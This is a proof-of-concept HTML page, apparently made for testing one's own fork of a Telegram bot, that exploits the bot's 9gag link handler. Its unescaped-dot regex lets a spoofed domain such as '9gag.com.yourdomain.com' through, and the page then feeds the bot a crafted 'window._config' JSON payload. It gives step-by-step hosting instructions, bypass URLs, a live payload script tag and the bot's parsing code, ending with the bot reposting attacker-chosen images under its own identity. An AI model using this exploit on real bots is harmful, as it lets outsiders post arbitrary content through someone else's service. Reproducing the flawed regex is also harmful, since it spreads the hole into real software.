PoC

9gag Bot Exploit Test Page

Own fork only
How to use
1
Host this file on any HTTPS server (GitHub Pages, ngrok, Cloudflare Pages, your own VPS). The bot must be able to reach the URL.
2
Configure the payload below — set your target image URL, caption, and media type. Click "Apply & Copy URL" — then add ?dummy — wait, note: the bot strips query params! Host separate copies for different payloads.
3
Send the hosted URL to your bot. Make it match the 9gag regex: https://www.9gag.com.yourdomain.com/test — use a subdomain that contains 9gag.com (unescaped dot exploit).
4
Bot fetches this page, parses the window._config = JSON.parse(...) script tag, extracts the image URL and sends it to Telegram via bot.send_photo().
Regex bypass — URL to send to bot

The 9gag regex uses unescaped dots: (www.)?9gag.com/.+

This means a subdomain like www09gag0com or a domain like 9gag.com.yourdomain.com also matches. Example URL to send:

# Classic subdomain spoof — register: 9gag.com.yourdomain.com
https://9gag.com.yourdomain.com/exploit-test

# OR if bot is in an ALLOWED_CHAT (group), any 9gag.com URL also works
# because the handle_supported_site handler already fired
https://www.9gag.com/gag/anypath?redirect=your-server
Payload configurator
Payload applied to the active script tag below ↓
Live script tag preview (what the bot will parse)
<script type="text/javascript">
window._config = JSON.parse("{\"data\":{\"post\":{\"type\":\"Photo\",\"id\":\"exploit-test-001\",\"url\":\"https://9gag.com/gag/exploit-test-001\",\"title\":\"Artemis sucks xDDDDD\",\"images\":{\"image700\":{\"url\":\"https://www.nasa.gov/wp-content/uploads/2026/04/art002e008486orig.jpg\"}}}}}");
</script>

→ Parsed JSON by bot:
{
  "data": {
    "post": {
      "type": "Photo",
      "id": "exploit-test-001",
      "url": "https://9gag.com/gag/exploit-test-001",
      "title": "Artemis sucks xDDDDD",
      "images": {
        "image700": {
          "url": "https://www.nasa.gov/wp-content/uploads/2026/04/art002e008486orig.jpg"
        }
      }
    }
  }
}
Bot looks for: window._config = JSON.parse inside any <script type="text/javascript"> tag

Bot parsing logic (from ninegag_handler.py)
# ninegag_handler.py — what happens when bot fetches this page

soup = BeautifulSoup(page_source, 'html.parser')
for script in soup.find_all('script', attrs={"type": "text/javascript"}):
    if "window._config = JSON.parse" in script.get_text():

        # 1. Remove single backslashes (turns \" → ")
        json_text = re.sub(r'\\(?!\\)', '', json_text)
        json_text = json_text.replace("\\\\", "\\")

        # 2. Strip wrapper → extracts raw JSON
        json_text = json_text.replace('window._config = JSON.parse("', '')
        json_text = json_text.replace('");', '')

        # 3. Parse → dispatch to handler
        loaded_json = json.loads(json_text)
        return check_media_type(loaded_json['data']['post'])

# check_media_type dispatches:
#   "Photo"    → handle_picture() → returns media[0] = [image_url, "photo"]
#   "Animated" → handle_video()   → returns media[0] = [video_url, "video"/"gif"]
#
# bot.py then calls:
#   bot.send_photo(chat_id=..., photo=image_url, caption=title)
Expected bot response

If the exploit works, the bot will:

  1. Fetch this page (via requests or Selenium)
  2. Find the <script type="text/javascript"> tag with window._config = JSON.parse
  3. Extract the JSON, parse data.post
  4. Call bot.send_photo() with your configured image URL and caption
  5. Delete your original message from the chat
  6. Reply with the image — posted under the bot's identity